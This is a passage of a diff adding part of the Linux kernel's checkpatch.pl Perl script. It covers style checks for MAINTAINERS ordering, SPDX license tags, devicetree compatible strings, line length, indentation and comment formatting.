+				    $fix) {
+					$fixed[$fixlinenr] =~ s/^(\+[A-Z]):\s*/$1:\t/;
+				}
+			}
+# check MAINTAINERS entries for the right ordering too
+			my $preferred_order = 'MRLSWQBCPTFXNK';
+			if ($rawline =~ /^\+[A-Z]:/ &&
+			    $prevrawline =~ /^[\+ ][A-Z]:/) {
+				$rawline =~ /^\+([A-Z]):\s*(.*)/;
+				my $cur = $1;
+				my $curval = $2;
+				$prevrawline =~ /^[\+ ]([A-Z]):\s*(.*)/;
+				my $prev = $1;
+				my $prevval = $2;
+				my $curindex = index($preferred_order, $cur);
+				my $previndex = index($preferred_order, $prev);
+				if ($curindex < 0) {
+					WARN("MAINTAINERS_STYLE",
+					     "Unknown MAINTAINERS entry type: '$cur'\n" . $herecurr);
+				} else {
+					if ($previndex >= 0 && $curindex < $previndex) {
+						WARN("MAINTAINERS_STYLE",
+						     "Misordered MAINTAINERS entry - list '$cur:' before '$prev:'\n" . $hereprev);
+					} elsif ((($prev eq 'F' && $cur eq 'F') ||
+						  ($prev eq 'X' && $cur eq 'X')) &&
+						 ($prevval cmp $curval) > 0) {
+						WARN("MAINTAINERS_STYLE",
+						     "Misordered MAINTAINERS entry - list file patterns in alphabetic order\n" . $hereprev);
+					}
+				}
+			}
+		}
+
+		if (($realfile =~ /Makefile.*/ || $realfile =~ /Kbuild.*/) &&
+		    ($line =~ /\+(EXTRA_[A-Z]+FLAGS).*/)) {
+			my $flag = $1;
+			my $replacement = {
+				'EXTRA_AFLAGS' =>   'asflags-y',
+				'EXTRA_CFLAGS' =>   'ccflags-y',
+				'EXTRA_CPPFLAGS' => 'cppflags-y',
+				'EXTRA_LDFLAGS' =>  'ldflags-y',
+			};
+
+			WARN("DEPRECATED_VARIABLE",
+			     "Use of $flag is deprecated, please use \`$replacement->{$flag} instead.\n" . $herecurr) if ($replacement->{$flag});
+		}
+
+# check for DT compatible documentation
+		if (defined $root &&
+			(($realfile =~ /\.dtsi?$/ && $line =~ /^\+\s*compatible\s*=\s*\"/) ||
+			 ($realfile =~ /\.[ch]$/ && $line =~ /^\+.*\.compatible\s*=\s*\"/))) {
+
+			my @compats = $rawline =~ /\"([a-zA-Z0-9\-\,\.\+_]+)\"/g;
+
+			my $dt_path = $root . "/Documentation/devicetree/bindings/";
+			my $vp_file = $dt_path . "vendor-prefixes.yaml";
+
+			foreach my $compat (@compats) {
+				my $compat2 = $compat;
+				$compat2 =~ s/\,[a-zA-Z0-9]*\-/\,<\.\*>\-/;
+				my $compat3 = $compat;
+				$compat3 =~ s/\,([a-z]*)[0-9]*\-/\,$1<\.\*>\-/;
+				`grep -Erq "$compat|$compat2|$compat3" $dt_path`;
+				if ( $? >> 8 ) {
+					WARN("UNDOCUMENTED_DT_STRING",
+					     "DT compatible string \"$compat\" appears un-documented -- check $dt_path\n" . $herecurr);
+				}
+
+				next if $compat !~ /^([a-zA-Z0-9\-]+)\,/;
+				my $vendor = $1;
+				`grep -Eq "\\"\\^\Q$vendor\E,\\.\\*\\":" $vp_file`;
+				if ( $? >> 8 ) {
+					WARN("UNDOCUMENTED_DT_STRING",
+					     "DT compatible string vendor \"$vendor\" appears un-documented -- check $vp_file\n" . $herecurr);
+				}
+			}
+		}
+
+# check for using SPDX license tag at beginning of files
+		if ($realline == $checklicenseline) {
+			if ($rawline =~ /^[ \+]\s*\#\!\s*\//) {
+				$checklicenseline = 2;
+			} elsif ($rawline =~ /^\+/) {
+				my $comment = "";
+				if ($realfile =~ /\.(h|s|S)$/) {
+					$comment = '/*';
+				} elsif ($realfile =~ /\.(c|dts|dtsi)$/) {
+					$comment = '//';
+				} elsif (($checklicenseline == 2) || $realfile =~ /\.(sh|pl|py|awk|tc|yaml)$/) {
+					$comment = '#';
+				} elsif ($realfile =~ /\.rst$/) {
+					$comment = '..';
+				}
+
+# check SPDX comment style for .[chsS] files
+				if ($realfile =~ /\.[chsS]$/ &&
+				    $rawline =~ /SPDX-License-Identifier:/ &&
+				    $rawline !~ m@^\+\s*\Q$comment\E\s*@) {
+					WARN("SPDX_LICENSE_TAG",
+					     "Improper SPDX comment style for '$realfile', please use '$comment' instead\n" . $herecurr);
+				}
+
+				if ($comment !~ /^$/ &&
+				    $rawline !~ m@^\+\Q$comment\E SPDX-License-Identifier: @) {
+					WARN("SPDX_LICENSE_TAG",
+					     "Missing or malformed SPDX-License-Identifier tag in line $checklicenseline\n" . $herecurr);
+				} elsif ($rawline =~ /(SPDX-License-Identifier: .*)/) {
+					my $spdx_license = $1;
+					if (!is_SPDX_License_valid($spdx_license)) {
+						WARN("SPDX_LICENSE_TAG",
+						     "'$spdx_license' is not supported in LICENSES/...\n" . $herecurr);
+					}
+					if ($realfile =~ m@^Documentation/devicetree/bindings/@ &&
+					    not $spdx_license =~ /GPL-2\.0.*BSD-2-Clause/) {
+						my $msg_level = \&WARN;
+						$msg_level = \&CHK if ($file);
+						if (&{$msg_level}("SPDX_LICENSE_TAG",
+
+								  "DT binding documents should be licensed (GPL-2.0-only OR BSD-2-Clause)\n" . $herecurr) &&
+						    $fix) {
+							$fixed[$fixlinenr] =~ s/SPDX-License-Identifier: .*/SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause)/;
+						}
+					}
+				}
+			}
+		}
+
+# check for embedded filenames
+		if ($rawline =~ /^\+.*\Q$realfile\E/) {
+			WARN("EMBEDDED_FILENAME",
+			     "It's generally not useful to have the filename in the file\n" . $herecurr);
+		}
+
+# check we are in a valid source file if not then ignore this hunk
+		next if ($realfile !~ /\.(h|c|s|S|sh|dtsi|dts)$/);
+
+# check for using SPDX-License-Identifier on the wrong line number
+		if ($realline != $checklicenseline &&
+		    $rawline =~ /\bSPDX-License-Identifier:/ &&
+		    substr($line, @-, @+ - @-) eq "$;" x (@+ - @-)) {
+			WARN("SPDX_LICENSE_TAG",
+			     "Misplaced SPDX-License-Identifier tag - use line $checklicenseline instead\n" . $herecurr);
+		}
+
+# line length limit (with some exclusions)
+#
+# There are a few types of lines that may extend beyond $max_line_length:
+#	logging functions like pr_info that end in a string
+#	lines with a single string
+#	#defines that are a single string
+#	lines with an RFC3986 like URL
+#
+# There are 3 different line length message types:
+# LONG_LINE_COMMENT	a comment starts before but extends beyond $max_line_length
+# LONG_LINE_STRING	a string starts before but extends beyond $max_line_length
+# LONG_LINE		all other lines longer than $max_line_length
+#
+# if LONG_LINE is ignored, the other 2 types are also ignored
+#
+
+		if ($line =~ /^\+/ && $length > $max_line_length) {
+			my $msg_type = "LONG_LINE";
+
+			# Check the allowed long line types first
+
+			# logging functions that end in a string that starts
+			# before $max_line_length
+			if ($line =~ /^\+\s*$logFunctions\s*\(\s*(?:(?:KERN_\S+\s*|[^"]*))?($String\s*(?:|,|\)\s*;)\s*)$/ &&
+			    length(expand_tabs(substr($line, 1, length($line) - length($1) - 1))) <= $max_line_length) {
+				$msg_type = "";
+
+			# lines with only strings (w/ possible termination)
+			# #defines with only strings
+			} elsif ($line =~ /^\+\s*$String\s*(?:\s*|,|\)\s*;)\s*$/ ||
+				 $line =~ /^\+\s*#\s*define\s+\w+\s+$String$/) {
+				$msg_type = "";
+
+			# More special cases
+			} elsif ($line =~ /^\+.*\bEFI_GUID\s*\(/ ||
+				 $line =~ /^\+\s*(?:\w+)?\s*DEFINE_PER_CPU/) {
+				$msg_type = "";
+
+			# URL ($rawline is used in case the URL is in a comment)
+			} elsif ($rawline =~ /^\+.*\b[a-z][\w\.\+\-]*:\/\/\S+/i) {
+				$msg_type = "";
+
+			# Otherwise set the alternate message types
+
+			# a comment starts before $max_line_length
+			} elsif ($line =~ /($;[\s$;]*)$/ &&
+				 length(expand_tabs(substr($line, 1, length($line) - length($1) - 1))) <= $max_line_length) {
+				$msg_type = "LONG_LINE_COMMENT"
+
+			# a quoted string starts before $max_line_length
+			} elsif ($sline =~ /\s*($String(?:\s*(?:\\|,\s*|\)\s*;\s*))?)$/ &&
+				 length(expand_tabs(substr($line, 1, length($line) - length($1) - 1))) <= $max_line_length) {
+				$msg_type = "LONG_LINE_STRING"
+			}
+
+			if ($msg_type ne "" &&
+			    (show_type("LONG_LINE") || show_type($msg_type))) {
+				my $msg_level = \&WARN;
+				$msg_level = \&CHK if ($file);
+				&{$msg_level}($msg_type,
+					      "line length of $length exceeds $max_line_length columns\n" . $herecurr);
+			}
+		}
+
+# check for adding lines without a newline.
+		if ($line =~ /^\+/ && defined $lines[$linenr] && $lines[$linenr] =~ /^\\ No newline at end of file/) {
+			if (WARN("MISSING_EOF_NEWLINE",
+			         "adding a line without newline at end of file\n" . $herecurr) &&
+			    $fix) {
+				fix_delete_line($fixlinenr+1, "No newline at end of file");
+			}
+		}
+
+# check for .L prefix local symbols in .S files
+		if ($realfile =~ /\.S$/ &&
+		    $line =~ /^\+\s*(?:[A-Z]+_)?SYM_[A-Z]+_(?:START|END)(?:_[A-Z_]+)?\s*\(\s*\.L/) {
+			WARN("AVOID_L_PREFIX",
+			     "Avoid using '.L' prefixed local symbol names for denoting a range of code via 'SYM_*_START/END' annotations; see Documentation/asm-annotations.rst\n" . $herecurr);
+		}
+
+# check we are in a valid source file C or perl if not then ignore this hunk
+		next if ($realfile !~ /\.(h|c|pl|dtsi|dts)$/);
+
+# at the beginning of a line any tabs must come first and anything
+# more than $tabsize must use tabs.
+		if ($rawline =~ /^\+\s* \t\s*\S/ ||
+		    $rawline =~ /^\+\s*        \s*/) {
+			my $herevet = "$here\n" . cat_vet($rawline) . "\n";
+			$rpt_cleaners = 1;
+			if (ERROR("CODE_INDENT",
+				  "code indent should use tabs where possible\n" . $herevet) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/^\+([ \t]+)/"\+" . tabify($1)/e;
+			}
+		}
+
+# check for space before tabs.
+		if ($rawline =~ /^\+/ && $rawline =~ / \t/) {
+			my $herevet = "$here\n" . cat_vet($rawline) . "\n";
+			if (WARN("SPACE_BEFORE_TAB",
+				"please, no space before tabs\n" . $herevet) &&
+			    $fix) {
+				while ($fixed[$fixlinenr] =~
+					   s/(^\+.*) {$tabsize,$tabsize}\t/$1\t\t/) {}
+				while ($fixed[$fixlinenr] =~
+					   s/(^\+.*) +\t/$1\t/) {}
+			}
+		}
+
+# check for assignments on the start of a line
+		if ($sline =~ /^\+\s+($Assignment)[^=]/) {
+			my $operator = $1;
+			if (CHK("ASSIGNMENT_CONTINUATIONS",
+				"Assignment operator '$1' should be on the previous line\n" . $hereprev) &&
+			    $fix && $prevrawline =~ /^\+/) {
+				# add assignment operator to the previous line, remove from current line
+				$fixed[$fixlinenr - 1] .= " $operator";
+				$fixed[$fixlinenr] =~ s/\Q$operator\E\s*//;
+			}
+		}
+
+# check for && or || at the start of a line
+		if ($rawline =~ /^\+\s*(&&|\|\|)/) {
+			my $operator = $1;
+			if (CHK("LOGICAL_CONTINUATIONS",
+				"Logical continuations should be on the previous line\n" . $hereprev) &&
+			    $fix && $prevrawline =~ /^\+/) {
+				# insert logical operator at last non-comment, non-whitepsace char on previous line
+				$prevline =~ /[\s$;]*$/;
+				my $line_end = substr($prevrawline, $-[0]);
+				$fixed[$fixlinenr - 1] =~ s/\Q$line_end\E$/ $operator$line_end/;
+				$fixed[$fixlinenr] =~ s/\Q$operator\E\s*//;
+			}
+		}
+
+# check indentation starts on a tab stop
+		if ($perl_version_ok &&
+		    $sline =~ /^\+\t+( +)(?:$c90_Keywords\b|\{\s*$|\}\s*(?:else\b|while\b|\s*$)|$Declare\s*$Ident\s*[;=])/) {
+			my $indent = length($1);
+			if ($indent % $tabsize) {
+				if (WARN("TABSTOP",
+					 "Statements should start on a tabstop\n" . $herecurr) &&
+				    $fix) {
+					$fixed[$fixlinenr] =~ s@(^\+\t+) +@$1 . "\t" x ($indent/$tabsize)@e;
+				}
+			}
+		}
+
+# check multi-line statement indentation matches previous line
+		if ($perl_version_ok &&
+		    $prevline =~ /^\+([ \t]*)((?:$c90_Keywords(?:\s+if)\s*)|(?:$Declare\s*)?(?:$Ident|\(\s*\*\s*$Ident\s*\))\s*|(?:\*\s*)*$Lval\s*=\s*$Ident\s*)\(.*(\&\&|\|\||,)\s*$/) {
+			$prevline =~ /^\+(\t*)(.*)$/;
+			my $oldindent = $1;
+			my $rest = $2;
+
+			my $pos = pos_last_openparen($rest);
+			if ($pos >= 0) {
+				$line =~ /^(\+| )([ \t]*)/;
+				my $newindent = $2;
+
+				my $goodtabindent = $oldindent .
+					"\t" x ($pos / $tabsize) .
+					" "  x ($pos % $tabsize);
+				my $goodspaceindent = $oldindent . " "  x $pos;
+
+				if ($newindent ne $goodtabindent &&
+				    $newindent ne $goodspaceindent) {
+
+					if (CHK("PARENTHESIS_ALIGNMENT",
+						"Alignment should match open parenthesis\n" . $hereprev) &&
+					    $fix && $line =~ /^\+/) {
+						$fixed[$fixlinenr] =~
+						    s/^\+[ \t]*/\+$goodtabindent/;
+					}
+				}
+			}
+		}
+
+# check for space after cast like "(int) foo" or "(struct foo) bar"
+# avoid checking a few false positives:
+#   "sizeof(<type>)" or "__alignof__(<type>)"
+#   function pointer declarations like "(*foo)(int) = bar;"
+#   structure definitions like "(struct foo) { 0 };"
+#   multiline macros that define functions
+#   known attributes or the __attribute__ keyword
+		if ($line =~ /^\+(.*)\(\s*$Type\s*\)([ \t]++)((?![={]|\\$|$Attribute|__attribute__))/ &&
+		    (!defined($1) || $1 !~ /\b(?:sizeof|__alignof__)\s*$/)) {
+			if (CHK("SPACING",
+				"No space is necessary after a cast\n" . $herecurr) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~
+				    s/(\(\s*$Type\s*\))[ \t]+/$1/;
+			}
+		}
+
+# Block comment styles
+# Networking with an initial /*
+		if ($realfile =~ m@^(drivers/net/|net/)@ &&
+		    $prevrawline =~ /^\+[ \t]*\/\*[ \t]*$/ &&
+		    $rawline =~ /^\+[ \t]*\*/ &&
+		    $realline > 3) { # Do not warn about the initial copyright comment block after SPDX-License-Identifier
+			WARN("NETWORKING_BLOCK_COMMENT_STYLE",
+			     "networking block comments don't use an empty /* line, use /* Comment...\n" . $hereprev);
+		}
+
+# Block comments use * on subsequent lines
+		if ($prevline =~ /$;[ \t]*$/ &&			#ends in comment
+		    $prevrawline =~ /^\+.*?\/\*/ &&		#starting /*
+		    $prevrawline !~ /\*\/[ \t]*$/ &&		#no trailing */
+		    $rawline =~ /^\+/ &&			#line is new
+		    $rawline !~ /^\+[ \t]*\*/) {		#no leading *
+			WARN("BLOCK_COMMENT_STYLE",
+			     "Block comments use * on subsequent lines\n" . $hereprev);
+		}
+
+# Block comments use */ on trailing lines
+		if ($rawline !~ m@^\+[ \t]*\*/[ \t]*$@ &&	#trailing */
+		    $rawline !~ m@^\+.*/\*.*\*/[ \t]*$@ &&	#inline /*...*/
+		    $rawline !~ m@^\+.*\*{2,}/[ \t]*$@ &&	#trailing **/
+		    $rawline =~ m@^\+[ \t]*.+\*\/[ \t]*$@) {	#non blank */
+			WARN("BLOCK_COMMENT_STYLE",
+			     "Block comments use a trailing */ on a separate line\n" . $herecurr);
+		}
+
+# Block comment * alignment
+		if ($prevline =~ /$;[ \t]*$/ &&			#ends in comment
+		    $line =~ /^\+[ \t]*$;/ &&			#leading comment
+		    $rawline =~ /^\+[ \t]*\*/ &&		#leading *
+		    (($prevrawline =~ /^\+.*?\/\*/ &&		#leading /*
+		      $prevrawline !~ /\*\/[ \t]*$/) ||		#no trailing */
+		     $prevrawline =~ /^\+[ \t]*\*/)) {		#leading *
+			my $oldindent;
+			$prevrawline =~ m@^\+([ \t]*/?)\*@;
+			if (defined($1)) {
+				$oldindent = expand_tabs($1);
+			} else {
+				$prevrawline =~ m@^\+(.*/?)\*@;
+				$oldindent = expand_tabs($1);
+			}
+			$rawline =~ m@^\+([ \t]*)\*@;
+			my $newindent = $1;
+			$newindent = expand_tabs($newindent);
+			if (length($oldindent) ne length($newindent)) {
+				WARN("BLOCK_COMMENT_STYLE",
+				     "Block comments should align the * on each line\n" . $hereprev);
+			}
+		}
+
+# check for missing blank lines after struct/union declarations
+# with exceptions for various attributes and macros
+		if ($prevline =~ /^[\+ ]};?\s*$/ &&
+		    $line =~ /^\+/ &&
+		    !($line =~ /^\+\s*$/ ||
+		      $line =~ /^\+\s*EXPORT_SYMBOL/ ||
+		      $line =~ /^\+\s*MODULE_/i ||
+		      $line =~ /^\+\s*\#\s*(?:end|elif|else)/ ||
+		      $line =~ /^\+[a-z_]*init/ ||
+		      $line =~ /^\+\s*(?:static\s+)?[A-Z_]*ATTR/ ||
+		      $line =~ /^\+\s*DECLARE/ ||
+		      $line =~ /^\+\s*builtin_[\w_]*driver/ ||
+		      $line =~ /^\+\s*__setup/)) {
+			if (CHK("LINE_SPACING",
+				"Please use a blank line after function/struct/union/enum declarations\n" . $hereprev) &&
+			    $fix) {
+				fix_insert_line($fixlinenr, "\+");
+			}
+		}
+
+# check for multiple consecutive blank lines
+		if ($prevline =~ /^[\+ ]\s*$/ &&
+		    $line =~ /^\+\s*$/ &&
+		    $last_blank_line != ($linenr - 1)) {
+			if (CHK("LINE_SPACING",
+				"Please don't use multiple blank lines\n" . $hereprev) &&
+			    $fix) {
+				fix_delete_line($fixlinenr, $rawline);
+			}
+
+			$last_blank_line = $linenr;
+		}
+
+# check for missing blank lines after declarations
+# (declarations must have the same indentation and not be at the start of line)
+		if (($prevline =~ /\+(\s+)\S/) && $sline =~ /^\+$1\S/) {
+			# use temporaries
+			my $sl = $sline;
+			my $pl = $prevline;
+			# remove $Attribute/$Sparse uses to simplify comparisons
+			$sl =~ s/\b(?:$Attribute|$Sparse)\b//g;
+			$pl =~ s/\b(?:$Attribute|$Sparse)\b//g;
+			if (($pl =~ /^\+\s+$Declare\s*$Ident\s*[=,;:\[]/ ||
+			# function pointer declarations
+			     $pl =~ /^\+\s+$Declare\s*\(\s*\*\s*$Ident\s*\)\s*[=,;:\[\(]/ ||
+			# foo bar; where foo is some local typedef or #define
+			     $pl =~ /^\+\s+$Ident(?:\s+|\s*\*\s*)$Ident\s*[=,;\[]/ ||
+			# known declaration macros
+			     $pl =~ /^\+\s+$declaration_macros/) &&
+			# for "else if" which can look like "$Ident $Ident"
+			    !($pl =~ /^\+\s+$c90_Keywords\b/ ||
+			# other possible extensions of declaration lines
+			      $pl =~ /(?:$Compare|$Assignment|$Operators)\s*$/ ||
+			# not starting a section or a macro "\" extended line
+			      $pl =~ /(?:\{\s*|\\)$/) &&
+			# looks like a declaration
+			    !($sl =~ /^\+\s+$Declare\s*$Ident\s*[=,;:\[]/ ||
+			# function pointer declarations
+			      $sl =~ /^\+\s+$Declare\s*\(\s*\*\s*$Ident\s*\)\s*[=,;:\[\(]/ ||
+			# foo bar; where foo is some local typedef or #define
+			      $sl =~ /^\+\s+$Ident(?:\s+|\s*\*\s*)$Ident\s*[=,;\[]/ ||
+			# known declaration macros
+			      $sl =~ /^\+\s+$declaration_macros/ ||
+			# start of struct or union or enum
+			      $sl =~ /^\+\s+(?:static\s+)?(?:const\s+)?(?:union|struct|enum|typedef)\b/ ||
+			# start or end of block or continuation of declaration
+			      $sl =~ /^\+\s+(?:$|[\{\}\.\#\"\?\:\(\[])/ ||
+			# bitfield continuation
+			      $sl =~ /^\+\s+$Ident\s*:\s*\d+\s*[,;]/ ||
+			# other possible extensions of declaration lines
+			      $sl =~ /^\+\s+\(?\s*(?:$Compare|$Assignment|$Operators)/)) {
+				if (WARN("LINE_SPACING",
+					 "Missing a blank line after declarations\n" . $hereprev) &&
+				    $fix) {
+					fix_insert_line($fixlinenr, "\+");
+				}
+			}
+		}
+
+# check for spaces at the beginning of a line.
+# Exceptions:
+#  1) within comments
+#  2) indented preprocessor commands
+#  3) hanging labels
+		if ($rawline =~ /^\+ / && $line !~ /^\+ *(?:$;|#|$Ident:)/)  {
+			my $herevet = "$here\n" . cat_vet($rawline) . "\n";
+			if (WARN("LEADING_SPACE",
+				 "please, no spaces at the start of a line\n" . $herevet) &&
+			    $fix) {
+				$fixed[$fixlinenr] =~ s/^\+([ \t]+)/"\+" . tabify($1)/e;
+			}
+		}
+
+# check we are in a valid C source file if not then ignore this hunk
+		next if ($realfile !~ /\.(h|c)$/);
+
+# check for unusual line ending [ or (
+		if ($line =~ /^\+.*([\[\(])\s*$/) {
+			CHK("OPEN_ENDED_LINE",
+			    "Lines should not end with a '$1'\n" . $herecurr);
+		}
+
+# check if this appears to be the start function declaration, save the name
+		if ($sline =~ /^\+\{\s*$/ &&
+		    $prevline =~ /^\+(?:(?:(?:$Storage|$Inline)\s*)*\s*$Type\s*)?($Ident)\(/) {
+			$context_function = $1;
+		}
+
+# check if this appears to be the end of function declaration
+		if ($sline =~ /^\+\}\s*$/) {
+			undef $context_function;
+		}
+
+# check indentation of any line with a bare else
+# (but not if it is a multiple line "if (foo) return bar; else return baz;")
+# if the previous line is a break or return and is indented 1 tab more...
+		if ($sline =~ /^\+([\t]+)(?:}[ \t]*)?else(?:[ \t]*{)?\s*$/) {
+			my $tabs = length($1) + 1;
+			if ($prevline =~ /^\+\t{$tabs,$tabs}break\b/ ||
+			    ($prevline =~ /^\+\t{$tabs,$tabs}return\b/ &&
+			     defined $lines[$linenr] &&
+			     $lines[$linenr] !~ /^[ \+]\t{$tabs,$tabs}return/)) {
+				WARN("UNNECESSARY_ELSE",
+				     "else is not generally useful after a break or return\n" . $hereprev);
+			}
+		}
+
+# check indentation of a line with a break;
+# if the previous line is a goto, return or break
+# and is indented the same # of tabs
+		if ($sline =~ /^\+([\t]+)break\s*;\s*$/) {
+			my $tabs = $1;
+			if ($prevline =~ /^\+$tabs(goto|return|break)\b/) {
+				if (WARN("UNNECESSARY_BREAK",
+					 "break is not useful after a $1\n" . $hereprev) &&
+				    $fix) {
+					fix_delete_line($fixlinenr, $rawline);
+				}
+			}
+		}
+
+# check for RCS/CVS revision markers
+		if ($rawline =~ /^\+.*\$(Revision|Log|Id)(?:\$|)/) {
+			WARN("CVS_KEYWORD",
+			     "CVS style keyword markers, these will _not_ be updated\n". $herecurr);
+		}
+
+# check for old HOTPLUG __dev<foo> section markings
+		if ($line =~ /\b(__dev(init|exit)(data|const|))\b/) {
+			WARN("HOTPLUG_SECTION",
+			     "Using $1 is unnecessary\n" . $herecurr);
+		}
+
+# Check for potential 'bare' types
+		my ($stat, $cond, $line_nr_next, $remain_next, $off_next,
+		    $realline_next);
+#print "LINE<$line>\n";
+		if ($linenr > $suppress_statement &&
+		    $realcnt && $sline =~ /.\s*\S/) {
+			($stat, $cond, $line_nr_next, $remain_next, $off_next) =
+				ctx_statement_block($linenr, $realcnt, 0);
+			$stat =~ s/\n./\n /g;
+			$cond =~ s/\n./\n /g;
+
+#print "linenr<$linenr> <$stat>\n";
+			# If this statement has no statement boundaries within
+			# it there is no point in retrying a statement scan
+			# until we hit end of it.
+			my $frag = $stat; $frag =~ s/;+\s*$//;
+			if ($frag !~ /(?:{|;)/) {
+#print "skip<$line_nr_next>\n";
+				$suppress_statement = $line_nr_next;
+			}
+
+			# Find the real next line.
+			$realline_next = $line_nr_next;
+			if (defined $realline_next &&
+			    (!defined $lines[$realline_next - 1] ||
+			     substr($lines[$realline_next - 1], $off_next) =~ /^\s*$/)) {
+				$realline_next++;
+			}
+
+			my $s = $stat;
+			$s =~ s/{.*$//s;
+
+			# Ignore goto labels.
+			if ($s =~ /$Ident:\*$/s) {
+
+			# Ignore functions being called
+			} elsif ($s =~ /^.\s*$Ident\s*\(/s) {
+
+			} elsif ($s =~ /^.\s*else\b/s) {
+
+			# declarations always start with types
+			} elsif ($prev_values eq 'E' && $s =~ /^.\s*(?:$Storage\s+)?(?:$Inline\s+)?(?:const\s+)?((?:\s*$Ident)+?)\b(?:\s+$Sparse)?\s*\**\s*(?:$Ident|\(\*[^\)]*\))(?:\s*$Modifier)?\s*(?:;|=|,|\()/s) {
+				my $type = $1;
+				$type =~ s/\s+/ /g;
+				possible($type, "A:" . $s);
+
+			# definitions in global scope can only start with types
+			} elsif ($s =~ /^.(?:$Storage\s+)?(?:$Inline\s+)?(?:const\s+)?($Ident)\b\s*(?!:)/s) {
+				possible($1, "B:" . $s);
+			}
+
+			# any (foo ... *) is a pointer cast, and foo is a type
+			while ($s =~ /\(($Ident)(?:\s+$Sparse)*[\s\*]+\s*\)/sg) {
+				possible($1, "C:" . $s);
+			}
+
+			# Check for any sort of function declaration.
+			# int foo(something bar, other baz);
+			# void (*store_gdt)(x86_descr_ptr *);
+			if ($prev_values eq 'E' && $s =~ /^(.(?:typedef\s*)?(?:(?:$Storage|$Inline)\s*)*\s*$Type\s*(?:\b$Ident|\(\*\s*$Ident\))\s*)\(/s) {
+				my ($name_len) = length($1);
+
+				my $ctx = $s;
+				substr($ctx, 0, $name_len + 1, '');
+				$ctx =~ s/\)[^\)]*$//;
+
+				for my $arg (split(/\s*,\s*/, $ctx)) {
+					if ($arg =~ /^(?:const\s+)?($Ident)(?:\s+$Sparse)*\s*\**\s*(:?\b$Ident)?$/s || $arg =~ /^($Ident)$/s) {
+
+						possible($1, "D:" . $s);
+					}
+				}
+			}
+
+		}
+
+#
+# Checks which may be anchored in the context.
+#
+
+# Check for switch () and associated case and default
+# statements should be at the same indent.
+		if ($line=~/\bswitch\s*\(.*\)/) {
+			my $err = '';
+			my $sep = '';
+			my @ctx = ctx_block_outer($linenr, $realcnt);
+			shift(@ctx);
+			for my $ctx (@ctx) {
+				my ($clen, $cindent) = line_stats($ctx);
+				if ($ctx =~ /^\+\s*(case\s+|default:)/ &&
+							$indent != $cindent) {
+					$err .= "$sep$ctx\n";
+					$sep = '';
+				} else {
+					$sep = "[...]\n";
+				}
+			}
+			if ($err ne '') {
+				ERROR("SWITCH_CASE_INDENT_LEVEL",
+				      "switch and case should be at the same indent\n$hereline$err");
+			}
+		}
+
+# if/while/etc brace do not go on next line, unless defining a do while loop,
+# or if that brace on the next line is for something else
+		if ($line =~ /(.*)\b((?:if|while|for|switch|(?:[a-z_]+|)for_each[a-z_]+)\s*\(|do\b|else\b)/ && $line !~ /^.\s*\#/) {
+			my $pre_ctx = "$1$2";
+
+			my ($level, @ctx) = ctx_statement_level($linenr, $realcnt, 0);
+
+			if ($line =~ /^\+\t{6,}/) {
+				WARN("DEEP_INDENTATION",
+				     "Too many leading tabs - consider code refactoring\n" . $herecurr);
+			}
+
+			my $ctx_cnt = $realcnt - $#ctx - 1;
+			my $ctx = join("\n", @ctx);
+
+			my $ctx_ln = $linenr;
+			my $ctx_skip = $realcnt;
+
+			while ($ctx_skip > $ctx_cnt || ($ctx_skip == $ctx_cnt &&
+					defined $lines[$ctx_ln - 1] &&
+					$lines[$ctx_ln - 1] =~ /^-/)) {
+				##print "SKIP<$ctx_skip> CNT<$ctx_cnt>\n";
+				$ctx_skip-- if (!defined $lines[$ctx_ln - 1] || $lines[$ctx_ln - 1] !~ /^-/);
+				$ctx_ln++;
+			}
+
+			#print "realcnt<$realcnt> ctx_cnt<$ctx_cnt>\n";
+			#print "pre<$pre_ctx>\nline<$line>\nctx<$ctx>\nnext<$lines[$ctx_ln - 1]>\n";
+
+			if ($ctx !~ /{\s*/ && defined($lines[$ctx_ln - 1]) && $lines[$ctx_ln - 1] =~ /^\+\s*{/) {
+				ERROR("OPEN_BRACE",
+				      "that open brace { should be on the previous line\n" .
+					"$here\n$ctx\n$rawlines[$ctx_ln - 1]\n");
+			}
+			if ($level == 0 && $pre_ctx !~ /}\s*while\s*\($/ &&
+			    $ctx =~ /\)\s*\;\s*$/ &&
+			    defined $lines[$ctx_ln - 1])
+			{
+				my ($nlength, $nindent) = line_stats($lines[$ctx_ln - 1]);
+				if ($nindent > $indent) {
+					WARN("TRAILING_SEMICOLON",
+					     "trailing semicolon indicates no statements, indent implies otherwise\n" .
+						"$here\n$ctx\n$rawlines[$ctx_ln - 1]\n");
+				}
+			}
+		}
+
+# Check relative indent for conditionals and blocks.
+		if ($line =~ /\b(?:(?:if|while|for|(?:[a-z_]+|)for_each[a-z_]+)\s*\(|(?:do|else)\b)/ && $line !~ /^.\s*#/ && $line !~ /\}\s*while\s*/) {
+			($stat, $cond, $line_nr_next, $remain_next, $off_next) =
+				ctx_statement_block($linenr, $realcnt, 0)
+					if (!defined $stat);
+			my ($s, $c) = ($stat, $cond);
+
+			substr($s, 0, length($c), '');
+
+			# remove inline comments
+			$s =~ s/$;/ /g;
+			$c =~ s/$;/ /g;
+
+			# Find out how long the conditional actually is.
+			my @newlines = ($c =~ /\n/gs);
+			my $cond_lines = 1 + $#newlines;
+
+			# Make sure we remove the line prefixes as we have
+			# none on the first line, and are going to readd them
+			# where necessary.
+			$s =~ s/\n./\n/gs;
+			while ($s =~ /\n\s+\\\n/) {
+				$cond_lines += $s =~ s/\n\s+\\\n/\n/g;
+			}
+
+			# We want to check the first line inside the block
+			# starting at the end of the conditional, so remove:
+			#  1) any blank line termination
+			#  2) any opening brace { on end of the line
+			#  3) any do (...) {
+			my $continuation = 0;
+			my $check = 0;
+			$s =~ s/^.*\bdo\b//;
+			$s =~ s/^\s*{//;
+			if ($s =~ s/^\s*\\//) {
+				$continuation = 1;
+			}
+			if ($s =~ s/^\s*?\n//) {
+				$check = 1;
+				$cond_lines++;
+			}
+
+			# Also ignore a loop construct at the end of a
+			# preprocessor statement.
+			if (($prevline =~ /^.\s*#\s*define\s/ ||
+			    $prevline =~ /\\\s*$/) && $continuation == 0) {
+				$check = 0;
+			}
+
+			my $cond_ptr = -1;
+			$continuation = 0;
+			while ($cond_ptr != $cond_lines) {
+				$cond_ptr = $cond_lines;
+
+				# If we see an #else/#elif then the code
+				# is not linear.
+				if ($s =~ /^\s*\#\s*(?:else|elif)/) {
+					$check = 0;
+				}
+
+				# Ignore:
+				#  1) blank lines, they should be at 0,
+				#  2) preprocessor lines, and
